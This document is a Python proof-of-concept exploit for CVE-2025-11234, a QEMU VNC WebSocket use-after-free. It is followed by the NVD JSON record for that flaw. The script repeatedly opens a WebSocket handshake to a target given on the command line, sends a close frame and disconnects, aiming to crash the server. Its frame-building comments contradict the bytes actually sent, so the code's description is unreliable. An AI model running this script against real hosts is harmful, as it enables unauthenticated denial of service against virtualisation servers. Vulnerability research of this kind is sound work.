CVE-2025-11234

# CVE-2025-11234 PoC - QEMU QIOChannelWebsock Use-After-Free # Exploits GSource leak during WebSocket handshake to trigger DoS # Target: QEMU VNC WebSocket Server import socket import ssl import struct import hashlib import base64 import os import sys VNC_WS_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" VNC_WS_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5959 def generate_websocket_key(): """Generate a random WebSocket Sec-WebSocket-Key value""" return base64.b64encode(os.urandom(16)).decode('utf-8') def send_malicious_handshake(sock): """ Send a crafted WebSocket handshake that triggers premature QIOChannelWebsock object release, leaving a dangling GSource """ ws_key = generate_websocket_key() # Send initial WebSocket upgrade request handshake = ( f"GET /ws HTTP/1.1\r\n" f"Host: {VNC_WS_HOST}:{VNC_WS_PORT}\r\n" f"Upgrade: websocket\r\n" f"Connection: Upgrade\r\n" f"Sec-WebSocket-Key: {ws_key}\r\n" f"Sec-WebSocket-Version: 13\r\n" f"\r\n" ) sock.send(handshake.encode()) print("[*] Sent WebSocket upgrade request") # Receive the server's handshake response response = sock.recv(4096) print(f"[*] Received response: {len(response)} bytes") if b"101 Switching Protocols" not in response: print("[-] Handshake failed") return False print("[+] WebSocket handshake completed") return True def trigger_uaf(sock): """ After handshake, send a malformed frame that causes the QIOChannelWebsock to be freed while GSource is still active, triggering use-after-free when the callback fires """ # Send a close frame with invalid payload to trigger error handling # which may free the channel object while GSource is pending close_frame = bytes([ 0x88, # FIN=1, opcode=8 (Close) 0x04, # MASK=1, payload_len=4 0x00, 0x00, 0x00, 0x00, # Masking key 0x03, 0xE8 # Close code: 1000 (normal closure) ]) sock.send(close_frame) print("[*] Sent close frame to trigger channel cleanup") # Immediately disconnect to force premature object release # The GSource remains active and will fire later on freed memory sock.close() print("[*] Connection closed - GSource leak triggered") def main(): print(f"[*] CVE-2025-11234 PoC - Target: {VNC_WS_HOST}:{VNC_WS_PORT}") for i in range(10): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((VNC_WS_HOST, VNC_WS_PORT)) if send_malicious_handshake(sock): trigger_uaf(sock) print(f"[*] Attempt {i+1} completed") except Exception as e: print(f"[-] Error: {e}") # Small delay between attempts to allow GSource callbacks to fire import time time.sleep(0.5) print("[+] PoC execution completed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11234", "sourceIdentifier": "[email protected]", "published": "2025-10-03T11:15:30.437", "lastModified": "2026-05-19T15:16:26.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in QEMU. If the QIOChannelWebsock object is freed while it is waiting to complete a handshake, a GSource is leaked. This can lead to the callback firing later on and triggering a use-after-free in the use of the channel. This can be abused by a malicious client with network access to the VNC WebSocket port to cause a denial of service during the WebSocket handshake prior to the VNC client authentication."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:23228", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0326", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0332", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0702", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:1831", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18772", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3077", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3165", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5578", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-11234", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2401209", "source": "[email protected]"}]}}